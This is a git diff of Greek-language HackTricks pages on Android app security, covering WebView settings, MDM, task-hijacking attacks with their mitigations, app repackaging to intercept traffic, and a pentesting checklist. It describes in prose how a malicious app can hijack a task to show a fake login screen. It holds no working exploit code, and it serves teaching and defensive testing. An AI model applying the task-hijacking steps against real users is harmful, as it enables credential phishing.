Ένα σημαντικό σημείο είναι ότι οι browsers των WebViews **δεν μοιράζονται cookies** με τον κύριο browser της συσκευής.
@ -306,24 +314,24 @@ android:resource="@xml/filepaths" />
Η JavaScript "Bridge" επιτρέπει σε αντικείμενα Java να αλληλεπιδρούν με το JavaScript, απαιτώντας οι μέθοδοι να επισημαίνονται με το ````@JavascriptInterface```` για ασφάλεια από το Android 4.2 και μετά.
Η επιτροπή πρόσβασης περιεχομένου (````setAllowContentAccess(true)````) επιτρέπει στις WebViews να φτάσουν τους Content Providers, που θα μπορούσε να αποτελέσει κίνδυνο εκτός αν οι διευθύνσεις περιεχομένου επαληθευτούν ως ασφαλείς.
Η επιτροπή πρόσβασης περιεχομένου (````setAllowContentAccess(true)````) επιτρέπει στις WebViews να φτάσουν τους Content Providers, που θα μπορούσε να αποτελέσει κίνδυνο εκτός αν οι διευθύνσεις URL του περιεχομένου επαληθευτούν ως ασφαλείς.
Για τον έλεγχο της πρόσβασης σε αρχεία:
- Η απενεργοποίηση της πρόσβασης σε αρχεία (````setAllowFileAccess(false)````) περιορίζει την πρόσβαση στο σύστημα αρχείων, με εξαιρέσεις για συγκεκριμένα assets, εξασφαλίζοντας ότι χρησιμοποιούνται μόνο για μη-ευαίσθητο περιεχόμενο.
- Η απενεργοποίηση της πρόσβασης σε αρχεία (````setAllowFileAccess(false)````) περιορίζει την πρόσβαση στο σύστημα αρχείων, με εξαιρέσεις για συγκεκριμένα αρχεία, εξασφαλίζοντας ότι χρησιμοποιούνται μόνο για μη-ευαίσθητο περιεχόμενο.
## Άλλα Στοιχεία Εφαρμογής και Διαχείριση Κινητής Συσκευής
## Άλλα Στοιχεία Εφαρμογών και Διαχείρισης Κινητών Συσκευών
### **Ψηφιακή Υπογραφή Εφαρμογών**
- Η **ψηφιακή υπογραφή** είναι απαραίτητη για τις εφαρμογές Android, εξασφαλίζοντας ότι είναι **αυθεντικά υπογεγραμμένες** πριν την εγκατάσταση. Αυτή η διαδικασία χρησιμοποιεί ένα πιστοποιητικό για την ταυτοποίηση της εφαρμογής και πρέπει να επαληθευτεί από τον διαχειριστή πακέτων της συσκευής κατά την εγκατάσταση. Οι εφαρμογές μπορούν να είναι **αυτο-υπογεγραμμένες ή πιστοποιημένες από εξωτερική αρχή πιστοποίησης**, προστατεύοντας από την μη εξουσιοδοτημένη πρόσβαση και εξασφαλίζοντας ότι η εφαρμογή παραμένει αμετάβλητη κατά την παράδοσή της στη συσκευή.
- Η **ψηφιακή υπογραφή** είναι απαραίτητη για τις εφαρμογές Android, εξασφαλίζοντας ότι είναι **αυθεντικά υπογεγραμμένες** πριν την εγκατάσταση. Αυτή η διαδικασία χρησιμοποιεί ένα πιστοποιητικό για την ταυτοποίηση της εφαρμογής και πρέπει να επαληθευτεί από τον διαχειριστή πακέτων της συσκευής κατά την εγκατάσταση. Οι εφαρμογές μπορούν να είναι **αυτο-υπογεγραμμένες ή πιστοποιημένες από εξωτερική αρχή πιστοποίησης**, προστατεύοντας από μη εξουσιοδοτημένη πρόσβαση και εξασφαλίζοντας ότι η εφαρμογή παραμένει αμετάβλητη κατά την παράδοσή της στη συσκευή.
### **Επαλήθευση Εφαρμογής για Ενισχυμένη Ασφάλεια**
### **Επαλήθευση Εφαρμογών για Ενισχυμένη Ασφάλεια**
- Ξεκινώντας από την **Android 4.2**, μια λειτουργία που ονομάζεται **Επαλήθευση Εφαρμογών** επιτρέπει στους χρήστες να ελέγχουν τις εφαρμογές για ασφάλεια πριν την εγκατάσταση. Αυτή η **διαδικασία επαλήθευσης** μπορεί να προειδοποιήσει τους χρήστες για πιθανά επικίνδυνες εφαρμογές, ή ακόμα και να αποτρέψει την εγκατάσταση ιδιαίτερα κακόβουλων, βελτιώνοντας την ασφάλεια του χρήστη.
- Ξεκινώντας από την **Android 4.2**, μια λειτουργία με το όνομα **Επαλήθευση Εφαρμογών** επιτρέπει στους χρήστες να ελέγχουν τις εφαρμογές για ασφάλεια πριν την εγκατάσταση. Αυτή η **διαδικασία επαλήθευσης** μπορεί να προειδοποιήσει τους χρήστες για πιθανά επικίνδυνες εφαρμογές, ή ακόμα και να αποτρέψει την εγκατάσταση ιδιαίτερα κακόβουλων, βελτιώνοντας την ασφάλεια του χρήστη.
### **Διαχείριση Κινητής Συσκευής (MDM)**
### **Διαχείριση Κινητών Συσκευών (MDM)**
- Οι **λύσεις MDM** παρέχουν **επίβλεψη και ασφάλεια** για κινητές συσκευές μέσω του **API Διαχείρισης Συσκευών**. Απαιτούν την εγκατάσταση μιας εφαρμογής Android για την αποτελεσματική διαχείριση και ασφάλεια των κινητών συσκευών. Κύριες λειτουργίες περιλαμβάνουν την **επιβολή πολιτικών κωδικού πρόσβασης**, την **υποχρέωση κρυπτογράφησης αποθήκευσης**, και την **επιτροπή απομάκρυνσης δεδομένων**, εξασφαλίζοντας πλήρη έλεγχο και ασφάλεια πάνω στις κινητές συσκευές.
- Οι **λύσεις MDM** παρέχουν **επίβλεψη και ασφάλεια** για κινητές συσκευές μέσω του **API Διαχείρισης Συσκευών**. Απαιτούν την εγκατάσταση μιας εφαρμογής Android για την αποτελεσματική διαχείριση και ασφάλεια των κινητών συσκευών. Κύριες λειτουργίες περιλαμβάνουν την **επιβολή πολιτικών κωδικών πρόσβασης**, την **υποχρέωση κρυπτογράφησης αποθήκευσης**, και την **επιτροπή απομακρυσμένης διαγραφής δεδομένων**, εξασφαλίζοντας πλήρη έλεγχο και ασφάλεια πάνω από τις κινητές συσκευές.
```java
// Example of enforcing a password policy with MDM
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
@ -334,16 +342,22 @@ if (dpm.isAdminActive(adminComponent)) {
dpm.setPasswordMinimumLength(adminComponent, 8);
}
```
**Ομάδα Ασφαλείας Try Hard**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή τη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα κόλπα σας στο hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>

View file

@ -2,7 +2,7 @@
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν έως τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν έως τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
@ -14,16 +14,24 @@
</details>
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Task, Back Stack and Foreground Activities
Στο Android, ένα **task** είναι ουσιαστικά ένα σύνολο δραστηριοτήτων με τις οποίες αλληλεπιδρούν οι χρήστες για την ολοκλήρωση μιας συγκεκριμένης εργασίας, οργανωμένο μέσα σε ένα **back stack**. Αυτή η στοίβα ταξινομεί τις δραστηριότητες με βάση το χρόνο που άνοιξαν, με την πιο πρόσφατη δραστηριότητα να εμφανίζεται στην κορυφή ως **foreground activity**. Ανά πάσα στιγμή, μόνο αυτή η δραστηριότητα είναι ορατή στην οθόνη, καθιστώντας τη μέρος του **foreground task**.
Στο Android, μια **εργασία (task)** είναι ουσιαστικά ένα σύνολο δραστηριοτήτων που οι χρήστες αλληλεπιδρούν με αυτές για να ολοκληρώσουν ένα συγκεκριμένο έργο, οργανωμένο μέσα σε ένα **σωρό (back stack)**. Αυτός ο σωρός ταξινομεί τις δραστηριότητες με βάση το πότε άνοιξαν, με την πιο πρόσφατη δραστηριότητα να εμφανίζεται στην κορυφή ως **δραστηριότητα προσκηνίου (foreground activity)**. Ανά πάσα στιγμή, μόνο αυτή η δραστηριότητα είναι ορατή στην οθόνη, καθιστώντας τη μέρος της **εργασίας προσκηνίου (foreground task)**.
Εδώ υπάρχει μια γρήγορη ανάλυση των μεταβάσεων δραστηριοτήτων:
* Η **Δραστηριότητα 1** ξεκινά ως η μοναδική δραστηριότητα στο foreground.
* Η εκκίνηση της **Δραστηριότητας 2** μετακινεί τη **Δραστηριότητα 1** στο back stack, φέρνοντας τη **Δραστηριότητα 2** στο foreground.
* Η έναρξη της **Δραστηριότητας 3** μετακινεί τη **Δραστηριότητα 1** και τη **Δραστηριότητα 2** περαιτέρω πίσω στη στοίβα, με τη **Δραστηριότητα 3** τώρα μπροστά.
* Το κλείσιμο της **Δραστηριότητας 3** φέρνει τη **Δραστηριότητα 2** πίσω στο foreground, επιδεικνύοντας τον απλοποιημένο μηχανισμό πλοήγησης των tasks του Android.
* Η **Δραστηριότητα 1** ξεκινά ως η μοναδική δραστηριότητα στο προσκήνιο.
* Με την εκκίνηση της **Δραστηριότητας 2** τοποθετείται η **Δραστηριότητα 1** στο σωρό, φέρνοντας την **Δραστηριότητα 2** στο προσκήνιο.
* Ξεκινώντας την **Δραστηριότητα 3** μετακινούνται οι **Δραστηριότητες 1** και **2** πιο πίσω στο σωρό, με την **Δραστηριότητα 3** τώρα μπροστά.
* Κλείνοντας την **Δραστηριότητα 3** φέρνει την **Δραστηριότητα 2** ξανά στο προσκήνιο, επιδεικνύοντας τον απλοποιημένο μηχανισμό πλοήγησης εργασιών του Android.
![https://developer.android.com/images/fundamentals/diagram\_backstack.png](<../../.gitbook/assets/image (548).png>)
@ -31,17 +39,17 @@
### Επισκόπηση της Task Affinity και των Λειτουργιών Εκκίνησης
Στις εφαρμογές Android, η **task affinity** καθορίζει το προτιμώμενο task μιας δραστηριότητας, συνήθως ευθυγραμμιζόμενη με το όνομα πακέτου της εφαρμογής. Αυτή η ρύθμιση είναι ουσιώδης για τη δημιουργία μιας εφαρμογής proof-of-concept (PoC) για την επίδειξη της επίθεσης.
Στις εφαρμογές Android, η **task affinity** καθορίζει την προτιμώμενη εργασία μιας δραστηριότητας, συνήθως ευθυγραμμιζόμενη με το όνομα πακέτου της εφαρμογής. Αυτή η ρύθμιση είναι ουσιώδης για τη δημιουργία μιας εφαρμογής απόδειξης (PoC) για την επίδειξη της επίθεσης.
### Λειτουργίες Εκκίνησης
Το χαρακτηριστικό `launchMode` καθοδηγεί την χειρισμό των περιπτώσεων δραστηριοτήτων εντός των tasks. Η λειτουργία **singleTask** είναι κρίσιμη για αυτήν την επίθεση, διατάσσοντας τρεις σενάρια βάσει των υπαρχουσών περιπτώσεων δραστηριοτήτων και των αντιστοιχιών task affinity. Η εκμετάλλευση βασίζεται στη δυνατότητα της εφαρμογής του επιτιθέμενου να μιμείται την task affinity της εφαρμογής-στόχου, παραπλανώντας το σύστημα Android να εκκινήσει την εφαρμογή του επιτιθέμενου αντί της επιθυμητής στόχου.
Το χαρακτηριστικό `launchMode` καθοδηγεί τη χειρισμό των περιπτώσεων δραστηριοτήτων εντός των εργασιών. Η λειτουργία **singleTask** είναι καίρια για αυτήν την επίθεση, διατάσσοντας τρεις σενάρια βάσει των υπαρχουσών περιπτώσεων δραστηριοτήτων και των αντιστοιχιών της task affinity. Η εκμετάλλευση βασίζεται στη δυνατότητα μιας εφαρμογής επιτιθέμενου να μιμείται την task affinity της εφαρμογής-στόχου, παραπλανώντας το σύστημα Android να εκκινήσει την εφαρμογή του επιτιθέμενου αντί της επιθυμητής στόχου.
### Λεπτομερείς Βήματα Επίθεσης
1. **Εγκατάσταση Κακόβουλης Εφαρμογής**: Ο θύμα εγκαθιστά την κακόβουλη εφαρμογή του επιτιθέμενου στη συσκευή του.
2. **Αρχική Ενεργοποίηση**: Το θύμα ανοίγει πρώτα την κακόβουλη εφαρμογή, προετοιμάζοντας τη συσκευή για την επίθεση.
3. **Προσπάθεια Εκκίνησης της Εφαρμογής-Στόχου**: Το θύμα προσπαθεί να ανοίξει την εφαρμογή-στόχο.
3. **Προσπάθεια Εκκίνησης Εφαρμογής-Στόχου**: Το θύμα προσπαθεί να ανοίξει την εφαρμογή-στόχο.
4. **Εκτέλεση Απαγωγής**: Λόγω της αντιστοίχισης της task affinity, η κακόβουλη εφαρμογή εκκινείται αντί της εφαρμογής-στόχου.
5. **Απάτη**: Η κακόβουλη εφαρμογή παρουσιάζει μια ψεύτικη οθόνη σύνδεσης που μοιάζει με την εφαρμογή-στόχο, εξαπατώντας τον χρήστη να εισάγει ευαίσθητες πληροφορίες.
@ -49,16 +57,22 @@
### Μέτρα Πρόληψης
Για την πρόληψη τέτοιων επιθέσεων, οι προγραμματιστές μπορούν να ορίσουν το `taskAffinity` σε κενό συμβολοσειράς και να επιλέξουν τη λειτουργία εκκίνησης `singleInstance`, εξασφαλίζοντας την απομόνωση της εφαρμογής τους από άλλες. Η προσαρμογή της λειτουργίας `onBackPressed()` προσφέρει επιπλέον προστασία ενάντια στην απαγωγή task.
Για την πρόληψη τέτοιων επιθέσεων, οι προγραμματιστές μπορούν να ορίσουν το `taskAffinity` σε ένα κενό συμβολοσειράς και να επιλέξουν τη λειτουργία εκκίνησης `singleInstance`, εξασφαλίζοντας την απομόνωση της εφαρμογής τους από άλλες. Η προσαρμογή της λειτουργίας `onBackPressed()` προσφέρει επιπλέον προστασία ενάντια στην απαγωγή εργασιών.
## **Αναφορές**
* [**https://blog.dixitaditya.com/android-task-hijacking/**](https://blog.dixitaditya.com/android-task-hijacking/)
* [**https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html**](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν έως τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν έως τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
@ -66,6 +80,4 @@
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στη 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
</details>
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβ

View file

@ -7,12 +7,20 @@
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
Κάποιες εφαρμογές δεν αρέσουν στα πιστοποιητικά που κατεβάζουν οι χρήστες, οπότε για να ελέγξουμε την κίνηση του δικτύου για μερικές εφαρμογές πρέπει πραγματικά να αποσυναρμολογήσουμε την εφαρμογή και να προσθέσουμε μερικά πράγματα και να την επανασυναρμολογήσουμε.
**Ομάδα Ασφαλείας Try Hard**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
Κάποιες εφαρμογές δεν αρέσουν στα πιστοποιητικά που κατεβάζουν οι χρήστες, οπότε για να ελέγξουμε την κίνηση στον ιστό για κάποιες εφαρμογές πρέπει πραγματικά να αποσυναρμολογήσουμε την εφαρμογή και να προσθέσουμε μερικά πράγματα και να την επανασυναρμολογήσουμε.
# Αυτόματο
@ -53,4 +61,24 @@
![](../../.gitbook/assets/img12.png)
Τέλος, χρειάζεται μόνο να **υπογράψετε τη νέα εφαρμογή**. [Διαβάστε αυτήν την ενότητα της σελίδας Smali - Διασπορά/Τροποποίηση/Σύνθεση για να μάθετε πώς να την υπογράψετε](smali-changes.md#sing-the-new-apk).
Τέλος, απλά χρειάζεται να **υπογράψετε τη νέα εφαρμογή**. [Διαβάστε αυτήν την ενότητα της σελίδας Smali - Διάσπαση/\[Τροποποίηση\]/Σύνθεση για να μάθετε πώς να την υπογράψετε](smali-changes.md#sing-the-new-apk).
<details>
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>

View file

@ -7,11 +7,19 @@
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε τη [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε** στη [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Εγγραφείτε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
**Ομάδα Ασφάλειας Try Hard**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
### [Μάθετε τα θεμέλια του Android](android-app-pentesting/#2-android-application-fundamentals)
* [ ] [Βασικά](android-app-pentesting/#fundamentals-review)
@ -30,20 +38,20 @@
### [Στατική Ανάλυση](android-app-pentesting/#static-analysis)
* [ ] Ελέγξτε για τη χρήση [μεθόδευσης](android-checklist.md#some-obfuscation-deobfuscation-information), ελέγξτε για το αν το κινητό έχει ρουταριστεί, αν χρησιμοποιείται ένας εξομοιωτής και ελέγξτε για ελέγχους αντι-παραβίασης. [Διαβάστε περισσότερα εδώ](android-app-pentesting/#other-checks).
* [ ] Ελέγξτε για τη χρήση [μεθόδευσης](android-checklist.md#some-obfuscation-deobfuscation-information), ελέγχους για το αν το κινητό έχει ρουταριστεί, αν χρησιμοποιείται ένας εξομοιωτής και ελέγχους αντι-παραβίασης. [Διαβάστε περισσότερα εδώ](android-app-pentesting/#other-checks).
* [ ] Ευαίσθητες εφαρμογές (όπως εφαρμογές τραπεζών) πρέπει να ελέγχουν αν το κινητό έχει ρουταριστεί και να ενεργοποιούνται αναλόγως.
* [ ] Αναζήτηση για [ενδιαφέρουσες συμβολοσειρές](android-app-pentesting/#looking-for-interesting-info) (κωδικοί πρόσβασης, διευθύνσεις URL, API, κρυπτογράφηση, πίσω πόρτες, τεκμήρια Bluetooth...).
* [ ] Αναζήτηση για [ενδιαφέρουσες συμβολοσειρές](android-app-pentesting/#looking-for-interesting-info) (κωδικοί πρόσβασης, διευθύνσεις URL, API, κρυπτογράφηση, πίσω πόρτες, τοκεν, UUID Bluetooth...).
* [ ] Ειδική προσοχή στα [firebase ](android-app-pentesting/#firebase)APIs.
* [ ] [Διαβάστε το μετα-αρχείο:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml)
* [ ] Ελέγξτε αν η εφαρμογή είναι σε λειτουργία αποσφαλμάτωσης και προσπαθήστε να την "εκμεταλλευτείτε"
* [ ] [Διαβάστε τον πίνακα:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml)
* [ ] Ελέγξτε αν η εφαρμογή είναι σε λειτουργία εντοπισμού σφαλμάτων και προσπαθήστε να την "εκμεταλλευτείτε"
* [ ] Ελέγξτε αν το APK επιτρέπει αντίγραφα ασφαλείας
* [ ] Εξαγωγή Δραστηριοτήτων
* [ ] Παροχείς Περιεχομένου
* [ ] Εκτεθειμένες υπηρεσίες
* [ ] Δέκτες Εκπομπής
* [ ] Σχήματα URL
* [ ] Είναι η εφαρμογή αποθηκεύει δεδομένα με ανασφάλεια εσωτερικά ή εξωτερικά](android-app-pentesting/#insecure-data-storage)?
* [ ] Υπάρχει κάποιος [κωδικός πρόσβασης που έχει καταχωρηθεί σκληρά ή αποθηκευμένος στο δίσκο](android-app-pentesting/#poorkeymanagementprocesses); Χρησιμοποιεί η εφαρμογή [ανασφαλείς κρυπτογραφικούς αλγόριθμους](android-app-pentesting/#useofinsecureandordeprecatedalgorithms);
* [ ] Είναι η εφαρμογή [αποθηκεύει δεδομένα με ανασφάλεια εσωτερικά ή εξωτερικά](android-app-pentesting/#insecure-data-storage);
* [ ] Υπάρχει κάποιος [κωδικός πρόσβασης προκαθορισμένος ή αποθηκευμένος στο δίσκο](android-app-pentesting/#poorkeymanagementprocesses); Χρησιμοποιεί η εφαρμογή [ανασφαλείς αλγόριθμους κρυπτογράφησης](android-app-pentesting/#useofinsecureandordeprecatedalgorithms);
* [ ] Όλες οι βιβλιοθήκες έχουν μεταγλωττιστεί χρησιμοποιώντας τη σημαία PIE;
* [ ] Μην ξεχνάτε ότι υπάρχει μια σειρά από [στατικούς αναλυτές Android](android-app-pentesting/#automatic-analysis) που μπορούν να σας βοηθήσουν πολύ κατά τη φάση αυτή.
@ -56,12 +64,27 @@
* [ ] [Εκμεταλλεύσιμοι Παροχείς Περιεχομένου](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information);
* [ ] [Εκμεταλλεύσιμες εκτεθειμένες Υπηρεσίες](android-app-pentesting/#exploiting-services);
* [ ] [Εκμεταλλεύσιμοι Δέκτες Εκπομπής](android-app-pentesting/#exploiting-broadcast-receivers);
* [ ] Είναι η εφαρμογή [μεταδίδει πληροφορίες με κείμενο σε καθαρή μορφή/χρησιμοποιώντας αδύναμους αλγόριθμους](android-app-pentesting/#insufficient-transport-layer-protection); είναι δυνατή η επίθεση Man-in-the-Middle;
* [ ] [Επιθετική κίνηση HTTP/HTTPS](android-app-pentesting/#inspecting-http-traffic)
* [ ] Αυτό είναι πραγματικά σημαντικό, επειδή αν μπορείτε να καταγράψετε την κίνηση HTTP μπορείτε να αναζητήσετε κοινές ευπάθειες του Web (το Hacktricks έχει πολλές πληροφορίες για ευπάθειες του Web).
* [ ] Είναι η εφαρμογή [μεταδίδει πληροφορίες με καθαρό κείμενο/χρησιμοποιώντας αδύναμους αλγόριθμους](android-app-pentesting/#insufficient-transport-layer-protection); είναι δυνατή η επίθεση Man-in-the-Middle;
* [ ] [Επιθεώρηση κίνησης HTTP/HTTPS](android-app-pentesting/#inspecting-http-traffic)
* [ ] Αυτό είναι πραγματικά σημαντικό, γιατί αν μπορείτε να καταγράψετε την κίνηση HTTP μπορείτε να αναζητήσετε κοινές ευπάθειες του Web (το Hacktricks έχει πολλές πληροφορίες για ευπάθειες του Web).
* [ ] Ελέγξτε για πιθανές [Ενθυλάκωσεις Πελάτη Android](android-app-pentesting/#android-client-side-injections-and-others) (πιθανώς κάποια ανάλυση στατικού κώδικα θα βοηθήσει εδώ)
* [ ] [Frida](android-app-pentesting/#frida): Απλά Frida, χρησιμοποιήστε το για να αποκτήσετε ενδιαφέρουσες δυναμικές δεδομένα από την εφαρμογή (ίσως κάποιοι κωδικοί πρόσβασης...)
* [ ] [Frida](android-app-pentesting/#frida): Απλά Frida, χρησιμοποιήστε το για να λάβετε ενδιαφέρουσα δυναμικά δεδομένα από την εφαρμογή (ίσως κάποιοι κωδικοί πρόσβασης...)
